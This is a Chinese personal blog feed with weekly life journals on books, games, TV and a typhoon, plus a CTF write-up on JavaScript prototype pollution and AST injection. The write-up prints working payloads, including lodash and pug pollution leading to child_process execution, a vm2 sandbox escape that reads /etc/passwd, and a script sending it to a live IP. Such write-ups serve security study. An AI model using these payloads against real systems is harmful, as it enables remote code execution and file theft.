你要写月，就不能只写月要写这苍穹之上的寒魄写清光满杯，写对影独酌要写二十四桥流水，泠泠无声再写千里梦远写九霄宫阙，写桂影婆娑写山河万里俯瞰的灯火笔锋一转，喧闹之外冷露打湿了桂花，霜华惊醒了游子最后只剩花在杯中，月在杯中

是为本周报序

中秋——和一群人一起度过

很开心参加了吾非书店的中秋活动，一起共度季羡林的《月是故乡明》，还有精美的茶歇，围观了手工灯笼的制作，同时还参加了诗词名句抢答接龙与猜灯谜。

（补充一段，在我参加这个活动之前，我从未想过，在我每天上班的路上，在行人匆匆，车如流水马如龙的路边，铃声叮当响的自行车停靠点边，竟然隐藏着一家如此有文化气息的书店！所谓大隐隐于市，也不过如此了吧

盗图，非我拍🐶，来自店长的视频号

ENFJ人格参与这些活动还是没有任何压力的🤣，书店店长衣然小姐姐好漂亮，一袭古典的旗袍，映衬出一种说不出的美。不过共度环节有点像小学生上语文课哈哈哈😆，不过紧接着的讨论就让我感受到了区别于语文课的惊喜，大家分享的都是自己的感受，和月亮相关的故事（虽然就我和另外一个同学讲的最多🐶）。

年年今夜，月华如练，长是人千里。这是我分享的，也是我认为所有中秋写月里，我最喜欢的一句词。尽管月亮的名篇数不胜数，最著名的有《春江花月夜》，孤篇压全唐，也有每年都少不了被提及的苏子《明月几时有》。

我还记得是去年的中秋，当天晚上还在公司和球友激战，等到出公司的时候，在等车的瞬间，猛然抬头望去，纵我不曾有“月出于东山之上，徘徊于斗牛之间”的体验，但在那两栋高高耸起的楼中间，仿佛就拿一道缝隙，一轮明月悬空，明月总是能唤起一些东西的。谁曾想到，就在一千年前，范仲淹所写的“年年今夜，月华如练，长是人千里”突然间在我耳畔回响，于是就有了这条朋友圈

在活动小憩的片刻，还发现了书店的一角，留有好多好多人的记录，且拍下来记录下

我最喜欢的就是这一条了！！！哪有那么多，这正是贾宝玉所谓，除了《四书》，杜撰的也太多了，偏我杜撰的就不行？

最后，留下店长的一句话：

我想一个人在一路摸爬滚打的岁月后，还能保持天真简单的“傻气”，他（她）身边一定有很多很多人，明里暗中在保护。而卸下戒备，袒露楚河汉界背后的一段段创伤，放下坚硬，也是一种勇气。愿一起绽放光芒。

📺 追剧& 🎮游戏

Astrea 23年最值得玩的卡牌肉鸽游戏 | ★ ★ ★ ★ ★ 推荐

独立游戏蜥蜴君up安利了一款今年最值得玩的卡牌肉鸽游戏：Astrea阿斯特赖亚

我连他的分析视频都没看完就去买了🤣，这游戏的机制很简单，净化与腐化，对怪物而言，腐化是加血，对你的角色而言，腐化是扣血，反之同理

刚开始确实没理解到这个设计的精妙之处，以为就是换了个名字。但紧接着你就会不由自主的发现，腐化对你的角色来说并不一定是坏事，也可以随着血量的降低获得更厉害的技能。

除此外，骰子替换卡牌的设定，也让随机性进一步加强，骰子的面和效果的分布，也决定着你的套路，是走极端的收益路线，还是中规中矩，或者是保守路线。这都是要配合角色的特点来考虑的

当然，杀戮尖塔还是天花班级别的存在🐶，只不过这款游戏确实有一些新的设计和思考，不说了我再去开一把

The Morning Show | ★ ★ ★ ★ ★ 推荐

Apple Tv已经更新了4集 The Morning Show，作为我入坑Apple TV追的第一部剧

剧情其实略显平淡，中间有好几处为了转折而转折

但如果坚持看下去，你就会发现科里的台词充满了语言艺术，豆瓣上刷到一篇帖子：

假如用字面意思理解《早间新闻》科里的台词……

如：

Kill the people 去打动观众吧
Kill this story 这个故事不能发布（这部剧的台词到处都是kill哈哈哈
What doesn’t kill you… Almost kills you （听君一席话
We can sit around counting beans or … （我们可以坐下来数豆子，精打细算的意思

凡此种种还有很多，这也是我舍不得快进的理由，人物的语言、肢体动作、表情实在是太丰富了。更不用说，其中充斥了对美国政治正确的嘲讽🐶

追美剧的一些方法论

最近也越来越喜欢总结一些方法论，在我看来长期坚持做任何一件事情都不亚于修行。我们或多或少都是被一些偶然的多巴胺给刺激，并吸引而来，但若想真正坚持下去，总会遇到缺少知音，缺少分享，缺少动力的困境。终将走入一团迷雾中，而方法论则是指引我们克服多巴胺的这种天生的缺陷

于是也顺便也分享下我追美剧的一些感悟，主要谈谈是否需要中英双语字幕

其实我并不觉的双语字幕有什么太大的价值，你可能会觉得对于学习英语有很大的帮助，去你的吧，追个剧还学个毛的英语，最开始你可能会喜欢对照双语字幕，来检验一下自己的英语能力。但很快你就会发现太累了，于是索性只看中文字幕了。

我追剧一般用的Netflix或者Apple TV，直接看中文字幕也没任何问题，既不耽误我追剧的体验，偶尔听到一些熟悉的单词，或者用自己刚过六级的英语来跟着主角说两句。

当然，我也会刻意去追一些生肉，主要是在Max或者hulu上看，这时全英文字幕虽然刚开始看的时候有很大压力，但很快就发现，追剧的时候一大半台词都是没用的，把握好剧情主线就差不多了。同时，由于是全英文字幕，对于一些难以用中文翻译的有趣表达，往往也能get到其中非常有趣的点

📝开始动笔，2023年的总结

2023年也只剩三个月了，这一年让我认识到了太多的新事物，也是我工作中一个刚刚好的时间点。摆脱了初来职场的一些稚嫩，开始对自己的人生有所规划与思考，开始培养一些习惯，思考一些以后的问题。于是，在这周的某天，就开始动笔写23年的总结了

如果要说23年我最想选来作为代表的一句话，那可能是

我是个赶路人，却总是忍不住贪看山色

以此，作为23年年报的开头吧，诸君请期待吧：

匆匆忙忙的2023年也即将接近尾声了，在这一年中有过压力，有过失落，有过每个人都经历过的至暗时刻，有过独自登台的怅惘，也有过把栏杆拍遍的豪情但不管怎样，总不会忘记记忆中的一些星星点点，正是这些关于挚友、关于阅读、关于旅行、关于失而复得喜悦，关于冥思苦想的明悟，关于上下求索的执迷，纵横交织，忽明忽暗，勾勒出每个人不同的风景线，描绘出独具一格的山光水色初读到张晓风这一句的时候，只觉的浮躁的心灵瞬间被涤荡了，洗净了。盈盈一水间，莽莽深林处，被行程选择的赶路人，面对这湖光山色，还是值得贪恋几许的吧我也曾在一篇写过的周报总结中中化用了这句：赶路人，何方走走停停呢？

💭一些思考，少一点生活类的文章？

我总是想找一些优质的技术文章，但放眼望去，似乎大家写博客的时候都喜欢做生活记录，技术类的文章反而相对较少。我曾经想过是不是要少写一点，但

为什么要少些生活类的文章？其实我觉得也未尝不可，但从个人角度出发，还是希望能多写一点技术类的文章，虽然生活和工作已经够累了，难道写博客也不让人放松吗🤣。不过我还是觉得既然博客是作为一种激励我写作的方式，那么就必须得有足够的价值

目前周报的作用还是在于去分享我那无处安放的表达欲，同时作为一个记录习惯来打卡。只是技术文章对自己的要求太高了，没有搞清楚的时候又不太敢写，但何必呢，拖延症的一个症状就是完美焦虑。我还是会希望自己的文章中，技术类的比重提高

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

你的孤独，虽败犹荣，很喜欢这一期播客，每个人都是一座孤岛，但是通过这篇播客却能让我感受到一种无形之中的牵绊
蜥蜴肉鸽杂谈01】为什么杀戮尖塔是肉鸽卡牌里“唯一的神”？从肉鸽游戏的随机性谈起蜥蜴君的游戏分析，杀戮尖塔也绝对是我所玩过的不管是卡牌游戏还是肉鸽游戏里最顶尖的存在
年度最佳策略肉鸽卡牌预定？吹爆！【Astrea阿斯特赖亚】游戏测评
记一次类型体操与其实战应用
曲中剑】最惊艳我的一曲——《胡笳十八拍》
infuse进阶带你全面了解Apple TV全能搭档，必备(补档20211203）
假如用字面意思理解《早间新闻》科里的台词……

JS原型链污染及AST注入的几道题目

Mon, 25 Sep 2023 00:00:00 GMT

JS原型链污染及AST注入的几道题目

先放一张原型链的图压压惊

redpwnctf 2019 blueprint

功能分析

创建用户

userId 作为每个用户的cookie

userId = makeId()

创建了一个空对象 bpProto：

const bpProto = {}

然后，创建了一个对象 flagBp，它有一个属性 content，值是 flag，说明每个用户其实都有一个flag

const flagBp = {
  content: flag,
}

flagBp 的 constructor 属性被设置为一个新对象，这个新对象有一个属性 prototype，值是 bpProto。
flagBp 的 __proto__ 属性也被设置为 bpProto。

flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto

最后，组装为user对象

user = {
  bpProto,
  blueprints: {
    [makeId()]: flagBp,
  },
}

关键：

flagBp.__proto__ = bpProto

flagBp 的 constructor 属性被设置为一个新的对象，这个对象的 prototype 属性是 bpProto。这个操作并不会影响 flagBp 的原型链，因为 constructor 属性并不参与原型链的查找。

flagBp 的 [[Prototype]] 属性（即 __proto__）被设置为 bpProto。这个操作会改变 flagBp 的原型链。之后，当你试图访问 flagBp 上不存在的属性时，JavaScript 将在 bpProto 对象上查找这个属性。

创建笔记

const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))

展示笔记

const blueprintId = makeId()
user.blueprints[blueprintId] = {
content: parsedBody.content,
public: parsedBody.public,
}

res.end(blueprintId)

lodash原型链污染

在 Lodash 的 _.defaultsDeep 函数中，如果攻击者可以控制源对象，并使其包含对 Object.prototype 的引用，那么就可以通过这个函数污染原型链。

例如:

let user_input = { malicious_key: 'malicious_value' };
_.defaultsDeep({}, user_input);

如果可以控制 user_input，并将其设置为 { '__proto__': { malicious_key: 'malicious_value' } }，那么所有对象的 malicious_key 属性将被设置为 `'malicious_value'（根据原型链的查找规则）

Lodash （4.17.21）修复，而代码中的 Lodash 版本小于4.17.21

解题思路

我们看到 flagBp 的两个属性, constructor.prototype 和 __proto__ 都指向了 bpProto

那么 flagBp.public 属性就只能去原型链上找，而 flagBp.__proto__ 指向了 bpProto

flagBp.public -> flagBp.__proto__.public -> bpProto.prototype.public

那么如何修改 bpProto.prototype 呢？

回到这里

const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))

合并的时候，如果能做到：

mergeObj.constructor.prototype.public = true
// 或者
mergeObj.__proto__.public = true

因此 payload 为：

"constructor": {"prototype": {"public": true}}

思考，为什么如下payload不行？

"__proto__": {"public": true} // 试一试？

BambooFox CTF 2021 TimeToDraw

原型链污染的点在：存在很明显的赋值动作

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

如果是admin用户，则token为 secret.ADMIN_TOKEN，我们不知道

如果没有进入这个if，则 userData.token 会去原型链上查找，所以千万不要成为admin!

if (req.signedCookies.user && req.signedCookies.user.admin === true) {
  userData.isGuest = false;
  userData.isAdmin = req.cookies.admin;
  userData.token = secret.ADMIN_TOKEN;
}

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/)
    && hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
  res.send(secret.FLAG);
} else {
  res.send("NO");
}

因此payload如下：

const crypto = require('crypto');
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

token = "12345678900000000";
hostname = "::ffff:127.0.0.1";
result = hash(hostname + token);
console.log(result); // 0571d35ff568c6faacaa8f931b66729b9bc12a2c1231b8dc8c57073f35c8b62f

首先污染原型链：

http://localhost:3000/api/draw?x=__proto__&y=token&color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9

然后获取flag

http://localhost:3000/flag?token=1234567890000000

结论：当对象访问一个不一定存在的属性时，极易被原型链污染攻击

HTB blitzprop

payload

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('cmd')"
		}
}

AST injection + 原型链污染详细了解： https://xz.aliyun.com/t/12635

通过插入AST来实现注入

pug AST注入

<!-- /node_modules/pug-code-gen/index.js -->

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

注入：

const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

/*
function template(locals) {
    var pug_html = "",
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + "\u003Ch1\u003E";;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
        }.call(this, "console" in locals_for_with ?
            locals_for_with.console :
            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
            locals_for_with.process :
            typeof process !== 'undefined' ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}
*/

一个简单的pug引擎

请问如下代码是否存在AST injection?

// Step 1: 解析 - 将 Pug 语法解析成 AST
function parse(pugCode) {
  let lines = pugCode.split('\n');
  let ast = lines.map((line, index) => {
    let match = /^(\s*)(\w+)(?:\s*(.*))?$/g.exec(line);
    if (match) {
      let indent = match[1].length;
      let tag = match[2];
      let type;
      let text = match[3] || "";
      if (text.startsWith("@")) {
        [type, text] = text.slice(1).split(' ');
      }
      return { indent, tag, type, text, line: index + 1 }; // Add type to AST node
    } else {
      throw new Error(`Parsing error on line ${index + 1}`);
    }
  });
  return ast;
}

// Step 2: 编译 - 将 AST 转化为一个 JavaScript 函数
function compile(ast) {
  return function(context) {
    return ast.map(node => {
      try {
        let html = "<" + node.tag + ">";
        if (node.text.startsWith("{") && node.text.endsWith("}")) {
          let varName = node.text.slice(2, -1);
          if (varName in context) {
            let content = context[varName];
            // If the type of the node is 'uppercase', turn the content to uppercase
            if (node.type === 'uppercase') {
              content = content.toUpperCase();
            }
            html += content;
          } else {
            throw new Error(`Undefined variable: ${varName}`);
          }
        } else {
          html += node.text;
        }
        html += "</" + node.tag + ">";
        return html;
      } catch (error) {
        throw new Error(`Error rendering line ${node.line}: ${error.message}`);
      }
    }).join('\n');
  }
}

// Step 3: 渲染 - 使用上下文对象来执行编译后的函数并生成 HTML
function render(templateFn, context) {
  try {
    return templateFn(context);
  } catch (error) {
    console.error(error.message);
    return null;
  }
}

// 使用示例：
let pugCode = "p {name}\n"; // This is Pug syntax
pugCode += "div @uppercase Hello, {name}";
let ast = parse(pugCode);
let templateFn = compile(ast);
let html = render(templateFn, { name: "John Doe" });
console.log(html);

babyjs

const { NodeVM } = require("vm2");

let untrusted = `
( function () { let result = 'aaa';
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       "return this.process.mainModule.require('child_process').execSync('cat /etc/passwd')")().toString();
  }
return result; })();
`;

untrusted = "eval(`" + untrusted + "`)";

let vm = new NodeVM({
  // eval: false,
  wasm: false,
  wrapper: "none",
});

let result = "";

try {
  result = vm.run(`return ${untrusted}`);
} catch (err) {
  console.log(err);
  result = err.toString();
}
console.log(result);

最终脚本如下：



r = requests.post('http://175.27.159.126:10010/',
           data={
               'calc':
               """eval(`
( function () { let result = 'aaa';
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       "return this.process.mainModule.require('child_process').execSync('cat flag.txt')")().toString();
  }
return result; })();
`)"""
           })
print(r.headers)
print(r.text)

intigriti

如何创建一个admin用户？

关键代码：

user = JSON.parse(req.body)
let newUser = Object.assign(baseUser, user)

但是我们可以完全控制 user ，因此可以如下步骤：

{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}
>let user = JSON.parse('{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}')
>user.isAdmin // ? why
 undefined
>user.__proto__.isAdmin
 true

答案当使用 JSON.parse() 解析一个JSON字符串时，__proto__ 属性并不会按照原型链的方式进行设置。JSON字符串的解析完全基于其自身的文字内容，它不会改变对象的原型链。也就是说，JSON.parse() 不会把 __proto__ 理解为原型链的指示，而只是把它当作一个普通的属性来处理。

payload

{"__proto__": {"isAdmin": True}, "user": "test", "inviteCode": 0}

noood

题目思考：flag 在根目录，

flag{xxxxxx}

源代码：

const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}

app.use(bodyParser.json());

app.post('/:lib/:f', (req, res) => {
    let jsonlib = require(req.params.lib);
    let valid = jsonlib[req.params.f](req.body);

    let p;
    if(config.path) {
        p = config.path;
    }

    let data = fs.readFileSync(p).toString();

    res.send({
        "validator": valid, 
        "data": data, 
        "msg": "data is corrupted"
    });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

fs.readFileSync

答案no! 参数问题

require报错

答案

require('../.../../flag')

答案

require('vm').runInNewContext(['this.constructor.constructor('return this.process'))().mainModule.require('fs').readFileSync('/flag').toString()'])

原型链污染

答案

require('flat').unflatten({'__proto__.path'})

周报15 加班、Appletv与信息流梳理

Mon, 25 Sep 2023 00:00:00 GMT

周报15 加班、Appletv与信息流梳理

最近两周基本都是在加班中度过的，连续几天都在10点多下班。加上自己的睡眠质量实在堪忧，于是又重新戴上Apple watch来监控自己的睡眠。

每天的工作就是在和JS的各种神奇特性做斗争，被折磨的不要不要的。以致于梦里似乎都在思考，没有得到很有效的放松。9.22周五晚上回到家提不起做任何事的兴趣，索性9点就关灯躺在床上听着看理想的法律课程睡着了。第二天精神状态果然好多了。

9.15周五晚上碰上了前所未见的深圳大堵车，由于大雨，导致宝安的路被淹了，一直堵到公司门口。坐上班车之后感觉情况不对，于是赶忙下车走路回家了，事后得知，好多同事经历了长达40分钟到一个小时的堵车，而此时我已经到家了😁

xlog更新了，之前也有尝试图文功能，准备把自己的一些平常写在周报里的书评给放在图文板块，汇总一下

整体感觉很棒，就是每个图文点进去之后的排版有点乱了，都缩成了一个段落

是为本周报序

📚重读与推荐

重读了下《明朝那些事》

《明朝那些事儿》里写得最好的两个人物，也是最好哭的两个故事，一个是李时珍，另一个是徐霞客

“我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”

这也应征了作者所写的，“成功只有一个，那就是用自己的方式去度过一生”

另外推荐一本书《透过地理看历史系列》，古人也有说过，“左图右史”，地图对于历史理解的帮助是很大的，为什么关中之地有帝王气象？为什么守江必守淮？为什么汉中为巴蜀咽喉？为什么北伐那么难？

最后是摘录一些：

与郡县制配套的还有愚民、弱民政策。商鞅认为，要让人民好管、听话，跟着国家的政策走，人民最好都傻一点，像六国的百花齐放、百家争鸣，人民太聪明了，不好管，你让他杀人，他会跟你讲仁义，你让他使诡计，他骂你没道德；还有，老百姓最好别有钱，“民富则国弱，民弱则国富”，有钱了就没人玩命上战场了，利益的刺激效果就会大打折扣，始终在温饱线上挣扎的人才会为了生存去种田，或者去打仗，也没闲工夫去琢磨国家的政策是否合理。

（你最好是在讲历史

📺 surge & Apple TV

tvOS17 正式发布了，我一直等到这个点才去买Apple tv，因为其增加了一个很重要的vpn功能。再加上我本来就是surge的重度用户，作者也说了tv版的surge是免费的，于是赶紧下单（pdd真香），周六晚上折腾了下，终于能在Apple tv上看到4k的美剧了

但是在折腾的过程中，尽管下面这些话有些政治不正确（毕竟作者确实很厉害），但作为一个用户的视角，我是真的不想绑定iCloud，并且最开始我也没有分清楚surge绑定的iCloud账户是不是App Store账户（毕竟APP store账户经常会换），连我这种人都不一定分得清楚，我想普通的小白用户也会被困扰

最后的解决办法是这样的：Apple tv可以登录国区账号作为主账号，订阅账号可以选择比如美区的APP store账号，这个是可以和你的手机完全同步的，用手机同步过去就行

（ps. 而且从作者的推文中明显看到，绑定iCloud就是一个图省事的办法，如果作者真觉得开发很累完全可以收费，我是支持的…

ℹ️ 信息流梳理实践

其实很多需要耗费心力去维护的东西，总是懒以维护的，人总会懒惰下来，比如上周因为加班以及睡眠的原因，就导致我没有任何精力去做一些额外的事情，于是想着删繁就简，把一些华而不实的软件、方法全部给抛弃，只留下适合自己的

也看过很多人喜欢把app都组织在一个或多个文件夹中，最开始觉得这种分类很有道理，于是自己也尝试了一段时间，想着相似功能组织到一起，能够增加一些小众app打开频率。但很快我就发现，这就是个悖论，原因无他，app可以按照打开频率分为经常打开的和不经常打开的

如果是经常打开的app，就算在文件夹里，多一个步骤没啥用
如果是不经常打开的app，就算在文件夹里，多一个步骤也没啥用

于是组织为文件夹后，就变成了我基本天天只看B站，连YouTube都很少看了，因为它俩都在一个文件夹呀🤣，打开B站的动力明显高于YouTube。。

意识到这一点后，果断放弃了文件夹这种形式，把要用的，想用的，会用的app全都平摊，如果实在找不到，不还有搜索吗，搜索的速度也不亚于思考在哪个文件夹吧

还有一篇文章《我的个人信息流方法论及实践》，已经写了2k多字，但总觉得不甚满意，还在不断修改中，可能这周能发吧

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

猛男挑戰習大大】實測 200斤麥子十里山路不換肩真的扛得住？！│健人腳勤│ 2020ep28 同事转给我的🐶，只能说不是当的料
Hi-Res 96k/24bits】《歧路旅人2》无损游戏原声 (全131曲目 + 未收录1首) 八方旅人的bgm真的太好听了，最近也在开荒八方旅人2，还是有很多惊喜的，诸如白天黑夜的转换，更立体的地图与更好的光影
周报 47 - 采访、拳击与工作状态 - pseudoyu 终于恢复周更了哈😉
《魔戒》骑兵冲锋的原型，披三重甲不带长矛就能冲破步兵方阵【进击的骑兵03】冷兵器是男人的浪漫，一直都很喜欢这类讲古代战争、冷兵器、骑兵、地形战略的视频
350w粉UP主每月要花多少钱？时隔5年的读评论！
跟 Logseq 的创造者天生聊聊 Logseq 的故事
《崩铁》一天要交300万，Unity的新收费到底是怎么一回事？有点像我买了他家的锅做菜，每做出一道菜还要交钱.?
早间新闻第三季 TMS终于出第三季了，目前还在Apple tv陆续更新中，前两集感觉还是对味的，准备继续追下去
【小岛浪吹】华为到底突破了没有，中国的半导体行业正处于什么状态华为emmm，咋说呢，还是支持的吧，但觉得没必要
在看初入职场·法医季2 芒果tv的这套综艺还是挺有意思的，尹正、秦明居然都来了！
周报 03 – 未通过的三面、infuse 初体验以及网站的变化更新的好快，我反而落下了，继续加油，面试不一定是一帆风顺的，多尝试总能找到最好的 @eirms

最后附上几张星之海的海报

写在结尾

预祝看到这篇文章的朋友中秋快乐！

奉上去年我在pyq发的祝福(因为今年的还没想出来🤣，说不定中秋那天就想到了呢

年年今夜，月华如练，长是人千里。

周报14 台风天、剧本杀与彩虹

Mon, 11 Sep 2023 00:00:00 GMT

周报14 台风天、剧本杀与彩虹

暂停了一周的周报，本来这篇周报应该是上周就要发的，但或许是太忙了吧，沉不下心来整理自己的文字了，索性也就当给自己放个小假，合并到下周一起当做双周报来写

目前主力的写作软件是 Ulysses，虽然改成订阅制后有很多人吐槽、退坑。不过我目前感觉写作体验还是最棒的，批注、关键字等功能也很实用。这里顺带谈谈个人的习作习惯，日常会将一些零星的想法，收集到logseq或者flomo中，每当要写周报的时候再来回顾，这是模仿了周国平在《风中的纸屑》一书所写的做法，只有随手记录下来，才不至于让这些纸屑被生活的快节奏所吹走。

整理完这些纸屑后，就形成了一个初稿。在初稿的基础上，如果还有精力，就会对文字进行打磨，调整、扩展，当然这个过程是最耗费心力的了。毕竟大部分时候，都是不愿意去回顾自己写的文字（就像不愿去回顾自己写的垃圾代码一样🤣

深圳又来台风了，连续两周，每到周五就开始下大雨，公司也是很人性化地提前通知了，解锁了两天远程上班的体验（虽然效率并不是很高）

本来还担心周末是不是就无法出门了，短信、微信、微博都在不断地提醒我，不要外出，属实有些吓人了

不过台风真正肆虐的时间也仅在周五晚上，周六就开始转移目标了，周日甚至又重回了高温，台风的痕迹全无，太阳高照，果然是台风把所有云彩都带走了吧。

周六还是照惯例出门打羽毛球，台风过境后，无边丝雨，朦胧而安静的街道，无半点喧嚣。深圳这座脚步匆匆的城市，也被迫慢了下来呢

周日则是被文杰喊去一起打剧本杀了，（虽然我和他是在上周的读书会才第一次才认识的，但奈何自来熟🐶），在体验了被7个小时烧脑的推理折磨后，我已经不太敢再去玩推理本了🥹

周一上班，久违地见到了🌈（虽然不是我拍的

是为本周报序

👀剧本杀

很久没玩过剧本杀了，周六晚上文杰临时组了个局，想玩一个带点恐怖的推理本，于是大家就选了店家推荐的——《死者在幻夜中醒来》（真的是无知者无畏啊，马上就体会到了被折磨的痛苦）

大概玩了将近6、7个小时，不得不承认是一个设计很出色的剧本，

两个故事，一个玄幻，一个本格，巧妙的结合，完美的反转
叙事性诡计

本子其实是完全有两个故事组成的，第一个故事有一点玄幻的设定，即可以穿越时空，逆天改名，形成错乱的平行时空。第一个本子最后的推导我们大概花了3个多小时，而且推理非常的顺畅，DM频频点头（注意这是陷阱）

接着来到下半场，此时每个人都发现，他/她的记忆是错乱的，并且在第一个本中出现的玄幻设定、每个被杀的人的故事，全都是假的，都是伪造出来的！（简直颠覆好吗，已经炸了）

于是，每个人都需要重新找出自己的身份（当然靠我们那点贫瘠的推理能力是做不到的），只能逼得DM亲自下场“扛着火车跑了”🤣，有照片为证：

具体的推理过程就不细说了，只说几个点：

故事开始时，每个人的身份，容貌，性别，名字，都是互相推理出来的，DM只会在关键节点引导你，至于你的推理结果，DM都是对对对（怪不得推理这么容易呢，原来是为了给反转做铺垫🥹

另外就是第一次接触到叙事性诡计，那什么叫叙事性诡计呢？

举个例子吧：

在我的剧本中，是一个关于无知的村民要抽签选人来献祭的故事，抽签的结果是：小悠山（日本人特有的昵称，即小+姓氏，所以事实上大家不知道名字）

在后续的推断中，由于剧本中提到了，村民们说过，“真琴”要被献祭了

于是大家一致认为，这里抽出的签人名为悠山真琴

然而事实则完全相反：

抽签结果只是小悠山，并不是悠山真琴（后续推断出是悠山翼）
“真琴”要被献祭，这其实是替换原定的献祭人（因为她死了）

类似的种种，数不胜数。可以理解为一种虚假的真相，让人先入为主的造成固有印象，确实是第一次接触了🫠

📚重读《夜晚的潜水艇》

重新回顾了下《夜晚的潜水艇》（去年就读完了），但奈何写的太好了，写点东西做个纪念：

看陈春成的小说，就像一个患者，被他连哄带骗地，在手术床上躺下闭上眼睛，麻药入体，惨淡的灯光下，当他确认你已不能动弹。每每此时，他便开始癫狂，开始近乎变态的对文字进行拆解，恨不得只留下偏旁部首，如同施展玄妙的文字阵法似乎灵魂迷宫曲折的道路，宇宙尽头演化的规律，幽暗空间奇妙的玄幻，尽皆为其所包裹，所容纳，所吞吐你只能眼睁睁地看着这一切，无力反抗，无力挣扎这其中，第一篇《夜晚的潜水艇》则尤为让我欣赏。在孩童的眼中，每一滴雨水都可能是一场大冒险的开始，每一个彩虹都是通往另一个世界的门户，每一个字都充满了魔法和力量就像一幅永远画不完的画，一本永远写不完的故事，一片难以穷尽的蓝天然而结尾，仅剩的稀薄想象力，早已无力支撑起潜艇的运行若夜晚还记得潜水艇曾在大海航行若黄昏还记得航母曾在大洋里驰骋若星夜还记得飞碟曾在太空中对战 “这里不再有繁密的枝叶、柔软的泥沼、斑斓的鹦鹉和吐着信子的蛇，眼前只有确凿的地面和匆匆的人”

🕹️游戏

开始重拾对游戏的热爱了！原因则写在《如何克服电子阳痿》这篇文章了

Hifi rush 这个算是微软今年评分最高的游戏了吧（我哭死，星空真的，辜负了我），虽然年初就发售而且入了XGP，但是我这个拖延症就玩了前几章，后面就没玩了，这次找了个下午通关了

这个音游在我心中可以排到top1了，游戏里所有的物品都会跟随者节奏来跳动，配合炫酷的连招，大招与斩杀效果，配合xbox那个沙雕手柄可以震到手发麻…

这张图把我笑死了哈哈哈哈：

p5r 也是，一直卡在奥村的宫殿boss那里，然后就没有去打，这次终于打通了，另外学妹也有面具了啊啊啊学妹真的太漂亮了！

星之海，也是最近才发售的一款JRPG游戏，可以和八方旅人pk下了，解谜、战斗、音乐等体验下来还是非常棒的

《星空》褒姒了，真的太难受了，本来还想期待着微软能给玩家带来亿点点震撼，结果，还是那个b味

于是果断买了ps5，pdd百亿补贴安全下车，真的香。同时想着Switch好像也很便宜，那就买吧，顺带把王国之泪的卡带也买了

🎧播客

除你武器最新的一集播客带给我很深的思考

适当转移注意力，不要给自己施加太多压力，匆忙的当下，我们有时候更多的是需要无所事事，需要有一段被浪费的时间，告诉我们，不学习、不工作、不去想任何牵扯因果的事情，只属于自己的静水流深，也是值得被珍惜的。这么说会有点像精神内耗，或者说是精神内耗的扩展，即隐性的内耗。显性的内耗则是指如社恐、担心别人的看法等等，而隐性的则是指自己与自己对抗，如害怕无法集中注意力，害怕浪费时间等等以前每次工作的时候，稍微看个消息回复个消息都会让我觉得自己注意力被打扰了，严重的时候，甚至于每晚入睡，只要稍微精神清醒了点，就会怀疑自己是否能睡着，是否会影响到后面的工作等等后面可能想写一篇针对如何休息的话题来做个探讨，也在努力的探索适合自己的休息方式（又开始挖坑了

💭杂念

老蒋最新一期讲邓艾的视频，纠正了我一直以来玩三国杀的误区

【三国杀：我为什么一直都不喜欢邓艾？丨蒋述】 https://www.bilibili.com/video/BV1DF411677q/?share_source=copy_web&vd_source=eb74eb1e105cb306ab17818712e795b8

路人局最忌讳的就是能力不行，想法还多

执行大过决策三流的决策一流的执行，永远大于一流的决策三流的执行

如果你是忠臣，主公开局对着你认为最有可能是忠臣内奸的角色盲狙，你能怎么办？答案是只能跟进：

如果盲错了，那就交待了，但是你的犹豫也做不了啥，于事无补
如果盲对了，如果少了你的跟进，那责任反倒是由你来承担

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

如何克服内心的恐惧——从电子阳痿说起

